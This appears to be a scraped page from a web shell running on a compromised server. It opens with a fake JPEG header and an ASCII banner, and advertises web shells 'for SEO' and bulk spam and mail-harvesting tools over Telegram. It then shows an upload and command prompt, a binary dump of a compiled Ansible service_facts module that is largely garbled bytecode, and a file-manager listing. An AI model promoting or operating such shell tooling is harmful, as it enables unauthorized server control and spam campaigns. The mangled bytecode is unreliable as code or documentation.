����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g�B�@s�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�Zdd�Zedkr�e�dS)�)�absolute_import�division�print_functionak
---
module: service_facts
short_description: Return service state information as fact data
description:
     - Return service state information as fact data for various service management utilities.
version_added: "2.5"
requirements: ["Any of the following supported init systems: systemd, sysv, upstart, openrc, AIX SRC"]
extends_documentation_fragment:
  -  action_common_attributes
  -  action_common_attributes.facts
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    facts:
        support: full
    platform:
        platforms: posix
notes:
  - When accessing the C(ansible_facts.services) facts collected by this module,
    it is recommended to not use "dot notation" because services can have a C(-)
    character in their name which would result in invalid "dot notation", such as
    C(ansible_facts.services.zuul-gateway). It is instead recommended to
    using the string value of the service name as the key in order to obtain
    the fact data value like C(ansible_facts.services['zuul-gateway'])
  - AIX SRC was added in version 2.11.
author:
  - Adam Miller (@maxamillion)
z�
- name: Populate service facts
  ansible.builtin.service_facts:

- name: Print service facts
  ansible.builtin.debug:
    var: ansible_facts.services
a
ansible_facts:
  description: Facts to add to ansible_facts about the services on the system
  returned: always
  type: complex
  contains:
    services:
      description: States of the services with service name as key.
      returned: always
      type: complex
      contains:
        source:
          description:
          - Init system of the service.
          - One of C(rcctl), C(systemd), C(sysv), C(upstart), C(src).
          returned: always
          type: str
          sample: sysv
        state:
          description:
          - State of the service.
          - 'This commonly includes (but is not limited to) the following: C(failed), C(running), C(stopped) or C(unknown).'
          - Depending on the used init system additional states might be returned.
          returned: always
          type: str
          sample: running
        status:
          description:
          - State of the service.
          - Either C(enabled), C(disabled), C(static), C(indirect) or C(unknown).
          returned: systemd systems or RedHat/SUSE flavored sysvinit/upstart or OpenBSD
          type: str
          sample: enabled
        name:
          description: Name of the service.
          returned: always
          type: str
          sample: arp-ethers.service
N)�
AnsibleModule)�get_best_parsable_localec@seZdZdd�ZdS)�BaseServicecCs
||_dS)N)�module)�selfr�r
�A/usr/lib/python3.9/site-packages/ansible/modules/service_facts.py�__init__eszBaseService.__init__N)�__name__�
__module__�__qualname__rr
r
r
rrcsrc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�ServiceScanServicec	Cs�|j�d|j�\}}}|dkr0tj�d�s0dS|dkrL|j�d||f�tjdtj	d�}|�
|�D]6}|�d�}|�d	�d
kr�d}nd}||d
d�||<qfdS)Nz%s --status-all�z/etc/init.drz'Unable to query 'service' tool (%s): %sz*^\s*\[ (?P<state>\+|\-) \]\s+(?P<name>.+)$)�flags�name�state�+�running�stopped�sysv�rr�source)r�run_command�service_path�os�path�exists�warn�re�compile�M�finditer�group)	r	�services�rc�stdout�stderr�p�match�service_name�
service_stater
r
r�_list_sysvinitks
z!ServiceScanService._list_sysvinitcCs�t�d�}|j�d|j�\}}}|dkr<|j�d|�nz|�dd�}|�d�D]b}|�|�}|sfqR|�	d�}	|�	d	�}
|�	d
�}|�	d�r�|�	d�}nd}|	||
dd
�}
|
||	<qRdS)NzR^\s?(?P<name>.*)\s(?P<goal>\w+)\/(?P<state>\w+)(\,\sprocess\s(?P<pid>[0-9]+))?\s*$z%s listrz,Unable to query upstart for service data: %s�
��
r�goalr�pidZupstart)rrr2r)
r!r"rr�initctl_pathr �replace�splitr+r%)r	r&r*r'r(r)Zreal_stdout�line�mr,Zservice_goalr-r3Zpayloadr
r
r�
_list_upstart~s"





z ServiceScanService._list_upstartcCs�t�d�}|jjd|jdd�\}}}d}|�d�D]}|�|�r4d}q4|s�t�d�}d}|�d�D]}|�|�rdd}qd|r�|jjd|jdd�\}}}n$d	|vr�|jjd
|jdd�\}}}|�d�D]�}|�|�}	|	r�|	�d�}
d}d
}|	�d�dk�rd}|jjd|j|
fdd�\}}}|}|dv�r4d}n8|�	�}
dD]&}||
v�r@|j�
d|
��ql�q@d}|
||dd�}|||
<q�dS)Nz�(?P<service>.*?)\s+[0-9]:(?P<rl0>on|off)\s+[0-9]:(?P<rl1>on|off)\s+[0-9]:(?P<rl2>on|off)\s+[0-9]:(?P<rl3>on|off)\s+[0-9]:(?P<rl4>on|off)\s+[0-9]:(?P<rl5>on|off)\s+[0-9]:(?P<rl6>on|off)z%sT�Zuse_unsafe_shellFr1z"(?P<service>.*?)\s+(?P<rl0>on|off)z%s -l --allservicesz--listz	%s --list�servicer�disabledZrl3�on�enabledz%s %s status)rr)�rootZ
permissionznot in sudoerszDInsufficient permissions to query sysV service "%s" and their statesr�rr�statusr)r!r"rr�chkconfig_pathr6r+r%r�lowerr )r	r&r*r'r(r)Z	match_anyr7Zp_simpler8r,r-Zservice_status�output�x�service_datar
r
r�_list_rh�sL�




 


zServiceScanService._list_rhcCs�i}|jjd|jdd�\}}}|jjd|jdd�\}}}|�d�D]N}	|	�d�}
t|
�dkrbqF|
d��}|
d	��}|s�d||<qF|��||<qF|�d�D]H}	|	��}
t|
�dkr�q�|
d}|
d	}
||}|||
d
d�}|||<q�dS)Nz)%s -a -s -m 2>&1 | grep '^ ' | tr -d '[]'Tr:z%s show -v 2>&1 | grep '|'r1�|�r�Zopenrc)r�	runlevelsrr)rr�rc_status_path�rc_update_pathr6�len�strip)r	r&Zall_services_runlevelsr'r(r)Zrc_uZstdout_uZstderr_ur7�	line_datar,rKr-Zservice_runlevelsrFr
r
r�_list_openrc�s*

zServiceScanService._list_openrccCs�i}|j�d�|_|j�d�|_|j�d�|_|j�d�|_|j�d�|_|jrn|jdurn|jdurn|�|�|jr�|jdur�|�|�n0|jr�|�	|�n|jdur�|jdur�|�
|�|S)Nr;Z	chkconfigZinitctlz	rc-statusz	rc-update)r�get_bin_pathrrBr4rLrMr.r9rGrQ)r	r&r
r
r�gather_services�s

z"ServiceScanService.gather_servicesN)r
rrr.r9rGrQrSr
r
r
rris
1rc@s8eZdZegd��Zdd�Zdd�Zdd�Zdd	�Zd
S)�SystemctlScanService)z	not-foundZmasked�failedcCs@ztdd�}Wnty"YdS0|D]}d|vr(dSq(dS)Nz/proc/1/comm�rF�systemdT)�open�IOError)r	�fr7r
r
r�systemd_enabled�sz$SystemctlScanService.systemd_enabledcCs�|jjd|dd�\}}}|dkr4|j�d|�n�dd�|�d�D�D]n}d	}d
}|��}	|jD] }
|
|	vrb|
}|	dd�}	q�qb|	d}|	d}|	d
dkr�d}|||dd�||<qHdS)Nz-%s list-units --no-pager --type service --allTr:rz%Could not list units from systemd: %scSsg|]}d|vr|�qS�z.servicer
��.0Zsvc_liner
r
r�
<listcomp>	�z9SystemctlScanService._list_from_units.<locals>.<listcomp>r1r�unknownrJrI�rrWr@)rrr r6�
BAD_STATES)r	�systemctl_pathr&r'r(r)r7Z	state_val�
status_val�fieldsZbadr,r
r
r�_list_from_unitss"
z%SystemctlScanService._list_from_unitsc
	Cs
|jjd|dd�\}}}|dkr4|j�d|�n�dd�|�d�D�D]�}z|��dd	�\}}Wn&ty�|jjd
�|�d�Yn0||vr�|jjd||fdd�\}}}d
}	|s�|dkr�|�dd���}	||	|dd�||<qH||d|j	vrH|||d<qHdS)Nz2%s list-unit-files --no-pager --type service --allTr:rz.Could not get unit files data from systemd: %scSsg|]}d|vr|�qSr\r
r]r
r
rr_%r`z>SystemctlScanService._list_from_unit_files.<locals>.<listcomp>r1rIz=Malformed output discovered from systemd list-unit-files: {0})�msgz!%s show %s --property=ActiveStaterar0zActiveState=rWr@rA)
rrr r6�
IndexErrorZ	fail_json�formatr5�rstriprc)
r	rdr&r'r(r)r7r,rerr
r
r�_list_from_unit_filess z*SystemctlScanService._list_from_unit_filescCs@i}|��r<|jjdddgd�}|r<|�||�|�||�|S)NZ	systemctlz/usr/binz/usr/local/bin)Zopt_dirs)r[rrRrgrl)r	r&rdr
r
rrS4sz$SystemctlScanService.gather_servicesN)	r
rr�	frozensetrcr[rgrlrSr
r
r
rrT�s
rTc@seZdZdd�ZdS)�AIXScanServicec
Cs�i}t��dkr�|j�d�}|r�|j�d|�\}}}|dkrT|j�d||f�nt|�d�D]h}|��}t|�dkrxq^|ddkr�q^|d}|d	d
kr�d}	n|d	dkr�d
}	nd}	||	dd�||<q^|S)NZAIXZlssrcz%s -arz.lssrc could not retrieve service data (%s): %sr1rIZ	Subsystem���ZactiverZinoperativerra�srcr)�platform�systemrrRrr r6rN)
r	r&Z
lssrc_pathr'r(r)r7rPr,r-r
r
rrSBs*zAIXScanService.gather_servicesN)r
rrrSr
r
r
rrn@srnc@seZdZdd�Zdd�ZdS)�OpenBSDScanServicecCsdg}|j�d|j|f�\}}}d|��vr:|j�d�n&|�d�D]}|dkrTqDqD|�|�qD|S)Nz%s ls %szneeds root privilegeszrcctl requires root privilegesr1r0)rr�
rcctl_pathrCr r6�append)r	�cmdZsvcsr'r(r)�svcr
r
r�query_rcctl_szOpenBSDScanService.query_rcctlcs�i�|j�d�|_|jr�|�d�D]}|dd��|<q"|�d�D]}�|�ddi�q@|�d�D]}�|�dd	i�qb�fd
d��D��fdd��D�|�d
�D]}�|�dd
i�q��S)NZrcctl�all)rrr=rAr>�startedrrcs0g|](}�|�d�dur�|�ddi��qS)rANr<��get�update�r^rw�r&r
rr_|r`z6OpenBSDScanService.gather_services.<locals>.<listcomp>cs0g|](}�|�d�dur�|�ddi��qS)rNrr{r~rr
rr_r`rU)rrRrtrxr})r	rwr
rrrSlsz"OpenBSDScanService.gather_servicesN)r
rrrxrSr
r
r
rrs]s
rscCs�tt�dd�}t|�}t||d�|_ttttf}i}|D]"}||�}|��}|r8|�	|�q8t
|�dkrvtddd�}ntt|d�d�}|jfi|��dS)	NT)Z
argument_specZsupports_check_mode)�LANG�LC_ALLrz]Failed to find any services. This can be due to privileges or some other configuration issue.)Zskippedrhr)Z
ansible_facts)r�dictrZrun_command_environ_updaterrTrnrsrSr}rNZ	exit_json)r�localeZservice_modulesZall_servicesZ
svc_moduleZsvcmodrw�resultsr
r
r�main�sr��__main__)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNrrqr!Zansible.module_utils.basicrZ"ansible.module_utils.common.localer�objectrrrTrnrsr�r
r
r
r
r�<module>s$ 	)
N+

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 151 B 0644
__init__.cpython-39.pyc File 151 B 0644
_include.cpython-39.opt-1.pyc File 3.1 KB 0644
_include.cpython-39.pyc File 3.1 KB 0644
add_host.cpython-39.opt-1.pyc File 3.82 KB 0644
add_host.cpython-39.pyc File 3.82 KB 0644
apt.cpython-39.opt-1.pyc File 35.28 KB 0644
apt.cpython-39.pyc File 35.28 KB 0644
apt_key.cpython-39.opt-1.pyc File 13.79 KB 0644
apt_key.cpython-39.pyc File 13.79 KB 0644
apt_repository.cpython-39.opt-1.pyc File 20.75 KB 0644
apt_repository.cpython-39.pyc File 20.75 KB 0644
assemble.cpython-39.opt-1.pyc File 6.86 KB 0644
assemble.cpython-39.pyc File 6.86 KB 0644
assert.cpython-39.opt-1.pyc File 2.76 KB 0644
assert.cpython-39.pyc File 2.76 KB 0644
async_status.cpython-39.opt-1.pyc File 3.76 KB 0644
async_status.cpython-39.pyc File 3.76 KB 0644
async_wrapper.cpython-39.opt-1.pyc File 7.03 KB 0644
async_wrapper.cpython-39.pyc File 7.03 KB 0644
blockinfile.cpython-39.opt-1.pyc File 10.78 KB 0644
blockinfile.cpython-39.pyc File 10.78 KB 0644
command.cpython-39.opt-1.pyc File 10.53 KB 0644
command.cpython-39.pyc File 10.53 KB 0644
copy.cpython-39.opt-1.pyc File 21.83 KB 0644
copy.cpython-39.pyc File 21.83 KB 0644
cron.cpython-39.opt-1.pyc File 19.02 KB 0644
cron.cpython-39.pyc File 19.02 KB 0644
debconf.cpython-39.opt-1.pyc File 6.57 KB 0644
debconf.cpython-39.pyc File 6.57 KB 0644
debug.cpython-39.opt-1.pyc File 2.9 KB 0644
debug.cpython-39.pyc File 2.9 KB 0644
dnf.cpython-39.opt-1.pyc File 33.89 KB 0644
dnf.cpython-39.pyc File 33.89 KB 0644
dpkg_selections.cpython-39.opt-1.pyc File 2.2 KB 0644
dpkg_selections.cpython-39.pyc File 2.2 KB 0644
expect.cpython-39.opt-1.pyc File 6.64 KB 0644
expect.cpython-39.pyc File 6.64 KB 0644
fail.cpython-39.opt-1.pyc File 1.68 KB 0644
fail.cpython-39.pyc File 1.68 KB 0644
fetch.cpython-39.opt-1.pyc File 4.09 KB 0644
fetch.cpython-39.pyc File 4.09 KB 0644
file.cpython-39.opt-1.pyc File 23.32 KB 0644
file.cpython-39.pyc File 23.32 KB 0644
find.cpython-39.opt-1.pyc File 14.63 KB 0644
find.cpython-39.pyc File 14.63 KB 0644
gather_facts.cpython-39.opt-1.pyc File 2.53 KB 0644
gather_facts.cpython-39.pyc File 2.53 KB 0644
get_url.cpython-39.opt-1.pyc File 20.14 KB 0644
get_url.cpython-39.pyc File 20.14 KB 0644
getent.cpython-39.opt-1.pyc File 4.92 KB 0644
getent.cpython-39.pyc File 4.92 KB 0644
git.cpython-39.opt-1.pyc File 36.37 KB 0644
git.cpython-39.pyc File 36.37 KB 0644
group.cpython-39.opt-1.pyc File 16.71 KB 0644
group.cpython-39.pyc File 16.71 KB 0644
group_by.cpython-39.opt-1.pyc File 2.41 KB 0644
group_by.cpython-39.pyc File 2.41 KB 0644
hostname.cpython-39.opt-1.pyc File 30.2 KB 0644
hostname.cpython-39.pyc File 30.2 KB 0644
import_playbook.cpython-39.opt-1.pyc File 2.1 KB 0644
import_playbook.cpython-39.pyc File 2.1 KB 0644
import_role.cpython-39.opt-1.pyc File 3.31 KB 0644
import_role.cpython-39.pyc File 3.31 KB 0644
import_tasks.cpython-39.opt-1.pyc File 2.18 KB 0644
import_tasks.cpython-39.pyc File 2.18 KB 0644
include_role.cpython-39.opt-1.pyc File 4.19 KB 0644
include_role.cpython-39.pyc File 4.19 KB 0644
include_tasks.cpython-39.opt-1.pyc File 2.68 KB 0644
include_tasks.cpython-39.pyc File 2.68 KB 0644
include_vars.cpython-39.opt-1.pyc File 6.53 KB 0644
include_vars.cpython-39.pyc File 6.53 KB 0644
iptables.cpython-39.opt-1.pyc File 27.12 KB 0644
iptables.cpython-39.pyc File 27.12 KB 0644
known_hosts.cpython-39.opt-1.pyc File 9.8 KB 0644
known_hosts.cpython-39.pyc File 9.8 KB 0644
lineinfile.cpython-39.opt-1.pyc File 16.15 KB 0644
lineinfile.cpython-39.pyc File 16.15 KB 0644
meta.cpython-39.opt-1.pyc File 5.85 KB 0644
meta.cpython-39.pyc File 5.85 KB 0644
package.cpython-39.opt-1.pyc File 3.37 KB 0644
package.cpython-39.pyc File 3.37 KB 0644
package_facts.cpython-39.opt-1.pyc File 16.11 KB 0644
package_facts.cpython-39.pyc File 16.11 KB 0644
pause.cpython-39.opt-1.pyc File 3.51 KB 0644
pause.cpython-39.pyc File 3.51 KB 0644
ping.cpython-39.opt-1.pyc File 2.3 KB 0644
ping.cpython-39.pyc File 2.3 KB 0644
pip.cpython-39.opt-1.pyc File 21.6 KB 0644
pip.cpython-39.pyc File 21.6 KB 0644
raw.cpython-39.opt-1.pyc File 3.55 KB 0644
raw.cpython-39.pyc File 3.55 KB 0644
reboot.cpython-39.opt-1.pyc File 4.66 KB 0644
reboot.cpython-39.pyc File 4.66 KB 0644
replace.cpython-39.opt-1.pyc File 9.8 KB 0644
replace.cpython-39.pyc File 9.8 KB 0644
rpm_key.cpython-39.opt-1.pyc File 7.15 KB 0644
rpm_key.cpython-39.pyc File 7.15 KB 0644
script.cpython-39.opt-1.pyc File 4.08 KB 0644
script.cpython-39.pyc File 4.08 KB 0644
service.cpython-39.opt-1.pyc File 36.32 KB 0644
service.cpython-39.pyc File 36.32 KB 0644
service_facts.cpython-39.opt-1.pyc File 12.36 KB 0644
service_facts.cpython-39.pyc File 12.36 KB 0644
set_fact.cpython-39.opt-1.pyc File 5.62 KB 0644
set_fact.cpython-39.pyc File 5.62 KB 0644
set_stats.cpython-39.opt-1.pyc File 2.63 KB 0644
set_stats.cpython-39.pyc File 2.63 KB 0644
setup.cpython-39.opt-1.pyc File 9.64 KB 0644
setup.cpython-39.pyc File 9.64 KB 0644
shell.cpython-39.opt-1.pyc File 6.39 KB 0644
shell.cpython-39.pyc File 6.39 KB 0644
slurp.cpython-39.opt-1.pyc File 3.17 KB 0644
slurp.cpython-39.pyc File 3.17 KB 0644
stat.cpython-39.opt-1.pyc File 17.67 KB 0644
stat.cpython-39.pyc File 17.67 KB 0644
subversion.cpython-39.opt-1.pyc File 10.65 KB 0644
subversion.cpython-39.pyc File 10.65 KB 0644
systemd.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd.cpython-39.pyc File 15.93 KB 0644
systemd_service.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd_service.cpython-39.pyc File 15.93 KB 0644
sysvinit.cpython-39.opt-1.pyc File 8.33 KB 0644
sysvinit.cpython-39.pyc File 8.33 KB 0644
tempfile.cpython-39.opt-1.pyc File 3.2 KB 0644
tempfile.cpython-39.pyc File 3.2 KB 0644
template.cpython-39.opt-1.pyc File 3.02 KB 0644
template.cpython-39.pyc File 3.02 KB 0644
unarchive.cpython-39.opt-1.pyc File 28.11 KB 0644
unarchive.cpython-39.pyc File 28.11 KB 0644
uri.cpython-39.opt-1.pyc File 23.3 KB 0644
uri.cpython-39.pyc File 23.3 KB 0644
user.cpython-39.opt-1.pyc File 73.99 KB 0644
user.cpython-39.pyc File 73.99 KB 0644
validate_argument_spec.cpython-39.opt-1.pyc File 3.05 KB 0644
validate_argument_spec.cpython-39.pyc File 3.05 KB 0644
wait_for.cpython-39.opt-1.pyc File 19.08 KB 0644
wait_for.cpython-39.pyc File 19.08 KB 0644
wait_for_connection.cpython-39.opt-1.pyc File 3.39 KB 0644
wait_for_connection.cpython-39.pyc File 3.39 KB 0644
yum.cpython-39.opt-1.pyc File 41.95 KB 0644
yum.cpython-39.pyc File 41.95 KB 0644
yum_repository.cpython-39.opt-1.pyc File 20.58 KB 0644
yum_repository.cpython-39.pyc File 20.58 KB 0644